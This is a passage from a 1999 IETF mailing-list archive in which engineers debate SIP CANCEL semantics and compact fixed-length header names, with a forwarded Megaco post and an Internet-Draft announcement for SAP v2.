> response.  So, if we abide by the server state machine, the proxy MUST NOT
> forward the INVITE 200 response (4.2.5).  Now since the proxy already
> accepted the cancellation of the call, it seems appropriate it should deal
> with the INVITE 200 it receives in step 5 by sending the BYE itself.
> Although this behavior is not mentioned in the spec, it seems like an
> appropriate action to take since the transaction has been canceled.
> 
> Perhaps the chain of messages in your example is the correct way to do
> things and the way the spec authors intended, but I think there needs to be
> a clarification on how to respond to a CANCEL if a server has already
> responded to the INVITE.  It just seems to me that sending a CANCEL 200
> response _after_ sending an INVITE 200 response is not consistent with the
> meaning of CANCEL.  Taking your proxy example I think the following exchange
> of messages would still be consistent with the spec.  In step 8 the proxy
> generates a BYE since it is not allowed to forward the INVITE 200 (4.2.5):
> 
>    UAC                       PROXY                       UAS
>  1  |----------INVITE--------->|                          |
>  2  |                          |----------INVITE--------->|
>  3  |----------CANCEL--------->|                          |
>  4  |<-------CANCEL 200--------|                          |
>  5  |                          |<-------INVITE 200--------|
>  6  |                          |----------CANCEL--------->|
>  7  |                          |<-------CANCEL 403--------|
>  8  |                          |------------BYE---------->|
>  9  |                          |<---------BYE 200---------|

When CANCELing an INVITE request it doesn't mean that the UAC wants to
terminate the call. It means that the UAC wants to terminate all
branches which have not sent a 2xx response. If the UAC wants to
terminate the call it sends a BYE instead of the CANCEL.

I interpret the part in the rfc that Igor quoted as that there are only
two possible final reponses to a CANCEL, 200 and 481. Is this correct?

A 200-CANCEL means that the transaction exists at the server and that it
will prevent all user agent servers that have not sent a 2xx to send
them. It does not mean that the original request really was cancelled,
and thus the UAC should still expect that 2xx to the original request
may arrive.

A 481-CANCEL means that the transaction does not exist at the server.


Thanks for the clarifications,
/Lars

Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Thu Jun  3 15:20:55 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA22063
	for confctrl-outgoing; Thu, 3 Jun 1999 15:20:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22058
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jun 1999 15:20:54 -0700 (PDT)
Received: from omzrelay01.mcit.com (alpha.mcit.com [199.249.19.243])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10695
	for <confctrl@ISI.EDU>; Thu, 3 Jun 1999 15:20:53 -0700 (PDT)
Received: from ndcrelay2.mcit.com ([166.37.172.6])
 by firewall.mcit.com (PMDF V5.2-32 #38416)
 with ESMTP id <0FCR0019TVDYOW@firewall.mcit.com> for confctrl@ISI.EDU; Thu,
 3 Jun 1999 22:20:22 +0000 (GMT)
Received: from omzmta04.mcit.com (omzmta04.mcit.com [166.37.194.122])
 by ndcrelay2.mcit.com (8.8.7/) with ESMTP	id WAA06978 for <confctrl@ISI.EDU>;
 Thu, 03 Jun 1999 22:16:49 +0000 (GMT)
Received: from localHost ([166.44.137.12])
 by omzmta04.mcit.com (InterMail v03.02.05 118 121 101)
 with SMTP id <19990603222019.GCAH632@localHost> for <confctrl@ISI.EDU>; Thu,
 03 Jun 1999 22:20:19 +0000
Date: Thu, 03 Jun 1999 16:04 -0500 (CDT)
From: John Hearty <John.H.Hearty@wcom.com>
Subject: Priorities and Relevance
To: confctrl@ISI.EDU
Message-id: <19990603222019.GCAH632@localHost>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


 Note this post on the megaco list for possible future work in mmusic.



Forwarded message:
_________________________________________________________________
Date: Wed, 02 Jun 1999 09:49 -0500 (CDT)
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Sender: "Media Gateway Control (megaco)" <MEGACO@STANDARDS.NORTELNETWORKS.COM>
Reply-to: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject: Priorities and Relevance

The feeling I get is that it won't hurt to focus our efforts for the next
few weeks on creating a draft which provides a consistent, implementable
audio-only version of the protocol, while preserving compatibility with
multimedia contexts.  Then we can spend July getting a joint H.GCP/Megaco
draft ready for the SG 16 Berlin meeting.

The items that need change to ensure compatibility with the ultimate
H.GCP/Megaco solution are:
- associating send/receive status with the medfia flows rather than the
whole termination, to allow finer control
- using MIME encapsulation when reporting capabilities in response to
audits, as Christian has suggested.  I'd like this to be present because I
think MMUSIC may eventually come up with a better solution to reporting
capabilities than SDP, yet one which maps easily to the latter or to H.245.

I'm assuming that for circuit terminations the bearer name is used as the
termination name (as it is now).  The bearer list is only needed if you
introduce the circuit multiplex termination class.  That should be a routine
extension of the basic protocol, without implications for MGs which don't
support it.

From confctrl-owner  Thu Jun  3 23:33:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA09340
	for confctrl-outgoing; Thu, 3 Jun 1999 23:33:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA09335
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jun 1999 23:33:34 -0700 (PDT)
Received: from petrack.metatel.com (root@ts005d15.cht-ma.concentric.net [206.173.19.219])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA15638
	for <confctrl@ISI.EDU>; Thu, 3 Jun 1999 23:33:32 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
	by petrack.metatel.com (8.8.7/8.8.7) with ESMTP id AAA29232;
	Fri, 4 Jun 1999 00:52:05 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Fri, 4 Jun 1999 00:52:04 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
cc: confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
In-Reply-To: <37549707.7C50F1AF@dnrc.bell-labs.com>
Message-ID: <Pine.LNX.4.10.9906040041270.26934-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan,

I thought it was a stroke of luck that there wasn't a short form
for CSeq:, which is mandatory.
It gives us the opportunity to say that "any implementation
which understands "q:" MUST understand ALL the compact forms." 
Since as you noticed, CSeq will get back an error, it can be used to check
all the others. 

This mechanism is efficient enough, it seems to me. A client or server
will learn
pretty quickly whether a particular server or client can handle the new
short form, and act accordingly. 

(BTW, I realize I was also wrong before -- Proxy-Authenticate and
Proxy-Require cannot be distiguished by the first two bytes. I would 
choose compact forms like "p-" and "r-" for these ;-)).

Scott

[BTW, sorry Jonathan, you're not getting personal mail from me, I forgot
that the bell-labs.com smtp server won't accept mail from my linux box
because my box's DNS name doesn't reverse resolve. But you'll get this
through confctrl....]


On Tue, 1 Jun 1999, Jonathan Rosenberg wrote:

> Oops. It was pointed out to me that the UAS (and the proxy) would still
> choke on the request with "q". This is because it would not see a CSeq,
> and thus return a 400 error thinking the request was malformed. The UAC
> could then resubmit the request with the full CSeq.
> 
> The problem I describe would exist for non-mandatory headers, though.
> 
> -Jonathan R.
> 
> > Jonathan Rosenberg wrote:
> > >
> > 
> > > > 2. As far as backward compatibility goes, in any
> > > > case the standard says I have to accept the long and the short form from
> > > > an "older system".
> > > > If I start talking to a system that doesn't understand the new compact
> > > > form, I will get a "bad request" error, and I hope the correct Warning:
> > > > line with decent warn text, and I promise I will send the long form.
> > > > But for the few million messages I intend to process, the gain of
> > > > having fixed length headers on processing is very useful.
> > >
> > > Alas, compatibility isn't that simple. Unknown headers are ignored. So,
> > > since "q" is unknown, it will be ignored by both proxies and UA's. You
> > > can force it to be recognized (and thus get the error back that you
> > > mention), but this needs a Require header AND a Proxy-Require header.
> > > So, the 3 bytes you save on CSeq are totally lost to Require and
> > > Proxy-Require. There is no short form for Require/Proxy-Require either,
> > > but even if there was, it would still be more than three bytes for the
> > > whole thing.
> 
> 
> -- 
> Jonathan D. Rosenberg                       Lucent Technologies
> Member of Technical Staff                   101 Crawfords Corner Rd.
> High Speed Networks Research                Holmdel, NJ 07733
> FAX: (732) 834-5379                         Rm. 4C-526
> EMAIL: jdrosen@bell-labs.com
> URL: http://www.cs.columbia.edu/~jdrosen
> 


From confctrl-owner  Thu Jun  3 23:34:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA09371
	for confctrl-outgoing; Thu, 3 Jun 1999 23:34:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA09365
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jun 1999 23:34:11 -0700 (PDT)
Received: from petrack.metatel.com (root@ts005d15.cht-ma.concentric.net [206.173.19.219])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA15689
	for <confctrl@ISI.EDU>; Thu, 3 Jun 1999 23:34:09 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
	by petrack.metatel.com (8.8.7/8.8.7) with ESMTP id AAA28678;
	Fri, 4 Jun 1999 00:13:08 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Fri, 4 Jun 1999 00:13:07 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: mjh@aciri.org, schooler@cs.caltech.edu, jdrosen@bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
In-Reply-To: <37545680.5A226A05@cs.columbia.edu>
Message-ID: <Pine.LNX.4.10.9906032345230.26934-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



On Tue, 1 Jun 1999, Henning Schulzrinne wrote:

> 
> My hunch is that the difference in processing speed will be completely
> invisible. You can still have a "fast path" that checks whether this is
> a X: case. If not, you go into slow path for the one or two headers that
> are not. Slow path here means an extra strcmp. You can even compare CSeq
> to an integer in one instruction, if you like (kind of why ftp commands
> were 4 characters long)...

Henning, your note seems very pursuasive, it seems to me:

1. I am asking that all "common" SIP headers (at least) be of fixed
length, in the same way that "kind of why ftp commands are 4 characters
long". 

I want a "fast path" for EVERY required header. If SIP is going to be used
to route a LARGE number of invitations, it definitely helps to have all
headers be of a fixed length. I realize that in many  applications
there is not a big win, because there is so much string processing going
on, but surely you can see that there are applications where this can be 
reduced to a minimum and fixed length fields can make for vastly simpler
implementations.

Yes, I am aware that Cseq is 4 bytes, but then I have to throw away the
Colon.  And there are other fields
that are not 4 bytes. yes, I can just compare the first 2, and then 
throw away the rest, but this is nervewracking, and also less fast.
Why not just write down a list so that we can all use the same one? It is
a very short list (there are about 40 header fields in all now). 

As I argued before,
there is no backward compatibility problem -- an implementation that
cannot understand the new compact form will return a 400 Bad Request and
then the implementation will know to try the long form. If I can't figure
out in advance which to use, it will only slow down my server, so clearly
it's in my interest to do it correctly. 

I'm not suggesting that everyone do this, only that there be a single list
of compact forms. 

At the very least I'd like it written down that  all SIP headers will have
unique two first bytes.

I am finding that parsing of the variable length header fields is a
significant overhead in my application, and that moving to fixed length
headers makes for simple fast clear code. That's all.


Scott


From confctrl-owner  Thu Jun  3 23:34:35 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA09398
	for confctrl-outgoing; Thu, 3 Jun 1999 23:34:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA09393
	for <confctrl@zephyr.isi.edu>; Thu, 3 Jun 1999 23:34:34 -0700 (PDT)
Received: from petrack.metatel.com (root@ts005d15.cht-ma.concentric.net [206.173.19.219])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA15705
	for <confctrl@ISI.EDU>; Thu, 3 Jun 1999 23:34:31 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
	by petrack.metatel.com (8.8.7/8.8.7) with ESMTP id AAA28817;
	Fri, 4 Jun 1999 00:24:38 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Fri, 4 Jun 1999 00:24:38 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Eric Zimmerer <eric.zimmerer@Level3.com>
cc: mjh@aciri.org, schooler@cs.caltech.edu, jdrosen@bell-labs.com,
        confctrl@ISI.EDU, Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Subject: Re: Re[2]: Compact name for CSeq: (and for everything else)
In-Reply-To: <37546E2515E.C837ERIC.ZIMMERER@L3mail02.l3.com>
Message-ID: <Pine.LNX.4.10.9906040014140.26934-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

The issue is not so much *compact* headers, as much as *single fixed 
length* headers. In fact, fixed 2 byte length headers (although 4 would be
okay too, as Henning points out). Fixed length headers that can be
compared in a single instruction make a *huge* difference when processing
large numbers of packets, compared to a strcmp.

Today, it is possible to read the first two bytes of each required header
and "guess" the rest. But there is no guarantee that this will work
forever.

It is true that HTTP's progress did not suffer because of the strcmps
needed to implement an HTTP server. But surely it is well known that the
strcmps slowed processing down? 

All I want to do is to avoid as many strcmps as possible, by extending
work already done in a backward compatible manner.

Scott

On Tue, 1 Jun 1999, Eric Zimmerer wrote:

> Scott,
> 
> I read your confession with great sympathy.  
> 
> Level 3 and other carriers intend to send large volumes of SIP+ messages,
> and the benefits of compact standard length headers are substantial.
> 
> Eric Zimmerer
> Level 3 Communications, Inc.
> Phone: 303-926-3142
> 
> OK, I'll come clean.
> 
> 1. I want all SIP headers to be fixed length. All the compact forms have
> two bytes (a letter and a colon), and I would like to be able to 
> process a lot of headers very quickly. 
> 
> 2. As far as backward compatibility goes, in any 
> case the standard says I have to accept the long and the short form from
> an "older system". 
> If I start talking to a system that doesn't understand the new compact
> form, I will get a "bad request" error, and I hope the correct Warning:
> line with decent warn text, and I promise I will send the long form. 
> But for the few million messages I intend to process, the gain of 
> having fixed length headers on processing is very useful.
> 
> 
> 
> Scott
> 
> 
> On Sun, 30 May 1999, Henning Schulzrinne wrote:
> 
> > Scott Petrack wrote:
> > > 
> > > For a particular application I am doing I have a severe bandwidth
> > > constraint, and since CSeq: is a mandatory field, I would like to ask that
> > > you bless a compact name for it. I'll vote for "q".
> > 
> > The one problem I have with creating abbreviations for headers such as
> > CSeq is that it immediately breaks all implementations. This wouldn't be
> > so bad for informational headers (Organization, Subject, Priority, etc.)
> > [and we might indeed want to do this], but is more serious for headers
> > like CSeq, which are necessary for a proxy or UAS to process the
> > request. Given that the savings is 3 bytes, I have to admit to a certain
> > reluctance to breaking all existing implementations. (I know that we
> > have no "legal" obligation to be backward compatible as we move to Draft
> > Standard, but it doesn't exactly help the reputation of the protocol to
> > make what may seem like gratuitous, but crucial, changes to basic
> > aspects of it.)
> > 
> > Assuming you are carrying a real media stream, I have to assume that
> > your access bandwidth is at least 2.4 kb/s. At that rate, a 200-byte SIP
> > request would take about one second to transmit. Not great, but you can
> > still get decent post-dial delay performance.
> > 
> > If you have a continuous stream, it might be better to use a lower-layer
> > compression mechanism (such as those in PPP). They will automatically
> > reduce CSeq to a few bits, as the string will make it quickly into the
> > dictionary. Thus, if you compare the actual on-the-wire bit count of an
> > INVITE with Cseq and an INVITE with q, I wouldn't be surprised if there
> > would be no difference in size at all.
> > 
> > To test the hypothesis, I created some SIP-only INVITE request of the
> > form
> > 
> > 
> > INVITE Y&,=n#)&); SIP/2.0
> > v:SIP/2.0/UDP bcde
> > f:petrack
> > t:Y&,=n#)&);
> > q:1 INVITE
> > c:application/sdp
> > l:100
> > 
> > where the To and request-URI are randomly generated 10-character strings
> > and the From and Via headers are constant. I'm assuming here that the
> > proxy adds the local domain, for example. When "sending" 13 of these
> > requests, each with a different random request-URI, To and Length, we
> > get the following results for the total of 13 requests and the average
> > request size:
> > 
> > using Cseq: uncompressed=1345 bytes (103 bytes/request); gzip'ed: 353
> > bytes (27.15 B/r)
> > using q:    uncompressed=1306 bytes (100 bytes/request); gzip'ed: 352
> > bytes (27.07 B/r)
> > 
> > Thus, for this example, we get a grand effective saving of 0.08 bytes
> > per request, or a little more than 0.6 bits/request. I'd imagine that
> > this saving gets even smaller as the number of INVITE requests increase.
> > 
> > > 
> > > In the next version I would be happy to see *every* header field have a
> > > one-letter compact form. If you make the compact form case sensitive this
> > > is easily done, otherwise perhaps you'll choose a character other than
> > > ":" (colon) for the second byte. (e.g. make the compact form of
> > > "Authorization" be "a:" and the short form of "Accept:" be "a/"). At
> > > the very least let's have a short form for the more common optional
> > > headers. (I need one for "Warning:", for error processing).
> > > 
> > > I know that many people have OC-48s to the desktop, but I don't have one
> > > to my wireless PDA (no, that's not my application ;-)). And while it is
> > > true that some of the fields are of necessity very long (like long sip
> > > addresses), I can deal with that by rewriting certain names in proxies.
> > > Of course I can use the same proxies to rewrite "CSeq:" as "q:", but I
> > > think there is a big win if we can all agree on compact encodings that we
> > > can all use.
> > > 
> > > Could we all agree on a letter NOW at least for the mandatory CSeq: field?
> > > If no one cares I vote for "q:", just because it's in CSeq and is not
> > > too common. If one of the SIP authors would publish a complete list of
> > > compact names, that would be great. (I vote for "w:" for Warning:)
> > > 
> > > Thanks,
> > > 
> > > Scott
> > 
> > -- 
> > Henning Schulzrinne   http://www.cs.columbia.edu/~hgs
> > 
> 
> 
> 
> 


From confctrl-owner  Fri Jun  4 02:26:38 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA14729
	for confctrl-outgoing; Fri, 4 Jun 1999 02:26:38 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA14724
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 02:26:36 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id CAA21987
	for <confctrl@ISI.EDU>; Fri, 4 Jun 1999 02:26:35 -0700 (PDT)
Received: (qmail 236 invoked from network); 4 Jun 1999 11:26:33 +0200
Received: from du216-251.ppp.algonet.se (HELO felix.intertex.se) (195.100.251.216)
  by hromeo.algonet.se with SMTP; 4 Jun 1999 11:26:33 +0200
Message-ID: <37579D21.7D9217E9@intertex.se>
Date: Fri, 04 Jun 1999 11:32:17 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, mjh@aciri.org,
        schooler@cs.caltech.edu, jdrosen@bell-labs.com, confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9906032345230.26934-100000@petrack.metatel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> On Tue, 1 Jun 1999, Henning Schulzrinne wrote:
> 
> >
> > My hunch is that the difference in processing speed will be completely
> > invisible. You can still have a "fast path" that checks whether this is
> > a X: case. If not, you go into slow path for the one or two headers that
> > are not. Slow path here means an extra strcmp. You can even compare CSeq
> > to an integer in one instruction, if you like (kind of why ftp commands
> > were 4 characters long)...
> 
> Henning, your note seems very pursuasive, it seems to me:
> 
> 1. I am asking that all "common" SIP headers (at least) be of fixed
> length, in the same way that "kind of why ftp commands are 4 characters
> long".
> 
> I want a "fast path" for EVERY required header. If SIP is going to be used
> to route a LARGE number of invitations, it definitely helps to have all
> headers be of a fixed length. I realize that in many  applications
> there is not a big win, because there is so much string processing going
> on, but surely you can see that there are applications where this can be
> reduced to a minimum and fixed length fields can make for vastly simpler
> implementations.
> 
> Yes, I am aware that Cseq is 4 bytes, but then I have to throw away the
> Colon.  And there are other fields
> that are not 4 bytes. yes, I can just compare the first 2, and then
> throw away the rest, but this is nervewracking, and also less fast.
> Why not just write down a list so that we can all use the same one? It is
> a very short list (there are about 40 header fields in all now).
> 
> As I argued before,
> there is no backward compatibility problem -- an implementation that
> cannot understand the new compact form will return a 400 Bad Request and
> then the implementation will know to try the long form. If I can't figure
> out in advance which to use, it will only slow down my server, so clearly
> it's in my interest to do it correctly.

How does the server know which CSeq to use in the 400 response if it
does not understand the compact name for that header? How will it detect
retransmissions of the same request? However, this seems to me like a
more general problem of returning a failure response when the request
was malformed.
/Lars

> 
> I'm not suggesting that everyone do this, only that there be a single list
> of compact forms.
> 
> At the very least I'd like it written down that  all SIP headers will have
> unique two first bytes.
> 
> I am finding that parsing of the variable length header fields is a
> significant overhead in my application, and that moving to fixed length
> headers makes for simple fast clear code. That's all.
> 
> Scott

-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Fri Jun  4 04:19:56 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA17769
	for confctrl-outgoing; Fri, 4 Jun 1999 04:19:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA17764
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 04:19:53 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA25107
	for <confctrl@isi.edu>; Fri, 4 Jun 1999 04:19:52 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03419;
	Fri, 4 Jun 1999 07:19:19 -0400 (EDT)
Message-Id: <199906041119.HAA03419@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sap-v2-01.txt
Date: Fri, 04 Jun 1999 07:19:18 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Session Announcement Protocol
	Author(s)	: M.Handley, C. Perkins,  E. Whelan
	Filename	: draft-ietf-mmusic-sap-v2-01.txt
	Pages		: 16
	Date		: 03-Jun-99
	
This document describes version 2 of the multicast session directory
announcement protocol, SAP, and the related issues affecting security
and scalability that should be taken into account by the implementors
of multicast session directory tools.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sap-v2-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sap-v2-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sap-v2-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990603124850.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sap-v2-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sap-v2-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990603124850.I-D@ietf.org>

--OtherAccess--

--NextPart--



From confctrl-owner  Fri Jun  4 04:24:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA17863
	for confctrl-outgoing; Fri, 4 Jun 1999 04:24:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA17858
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 04:24:28 -0700 (PDT)
Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA25170
	for <confctrl@isi.edu>; Fri, 4 Jun 1999 04:24:27 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by palrel3.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id EAA09020;
	Fri, 4 Jun 1999 04:24:16 -0700 (PDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id MAA01627;
	Fri, 4 Jun 1999 12:24:10 +0100 (BST)
Message-ID: <3757B75A.1D699DA5@hplb.hpl.hp.com>
Date: Fri, 04 Jun 1999 12:24:10 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.6 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Scott Petrack <scott.petrack@metatel.com>
CC: confctrl <confctrl@ISI.EDU>
Subject: Re: Compact name for CSeq: (and for everything else)
References: <Pine.LNX.4.10.9906040014140.26934-100000@petrack.metatel.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Scott Petrack wrote:
> 
> The issue is not so much *compact* headers, as much as *single fixed
> length* headers. In fact, fixed 2 byte length headers (although 4 would be
> okay too, as Henning points out). Fixed length headers that can be
> compared in a single instruction make a *huge* difference when processing
> large numbers of packets, compared to a strcmp.

I have a couple of problems with this proposal.

First, changing the ':' separator to a '/' makes SIP even more
incompatible with RFC822 and HTTP.  IMHO this is not an option. This is
only a problem because there's only 25 US-ASCII letters, but actually,
given that SIP headers are all Unicode theres's no shortage of
single-letter names to choose from. We could start using the danish
letters æ, ø, and å right now ;-).

Secondly, I think in general having optional forms for things is just a
bad idea. It was a bad idea to make RCF822 headers names
case-insensitive but that we have to live with now. I think it was
probably also a bad idea to allow compact forms for various SIP headers.
It means parsers and higher level code has do *more* work, not less, and
it actually makes other optimizations harder to do.

Thirdly, the gain you're talking about is likely to be noise compared to
other processing (usually) going on.  Just consider the overhead of
parsing and constructing an in-memory representation of From, To, and
Contact headers.  Anyway, my 'gut feeling' is that servers can easily be
engineered to cope with the overhead of SIP as it stands.

> 
> Today, it is possible to read the first two bytes of each required header
> and "guess" the rest. But there is no guarantee that this will work
> forever.
> 
> It is true that HTTP's progress did not suffer because of the strcmps
> needed to implement an HTTP server. But surely it is well known that the
> strcmps slowed processing down?

But like you say, it hardly had any effect on the popularity of the Web,
since processing power was quite adequate to handle it. In fact it was
far more important that the protocol was simple. Your proposal is IMHO
an unnecessary optimization. It adds special cases to the protocol for
small (and undocumented) gains.

Sorry for posting so much opinion and so little Scientific Truth ;-)

Cheers,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Fri Jun  4 04:30:53 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA18055
	for confctrl-outgoing; Fri, 4 Jun 1999 04:30:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA18050
	for <confctrl@zephyr.isi.edu>; Fri, 4 Jun 1999 04:30:51 -0700 (PDT)
Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id EAA25336
	for <confctrl@isi.edu>; Fri, 4 Jun 1999 04:30:50 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id HAA13378;
	Fri, 4 Jun 1999 07:30:41 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
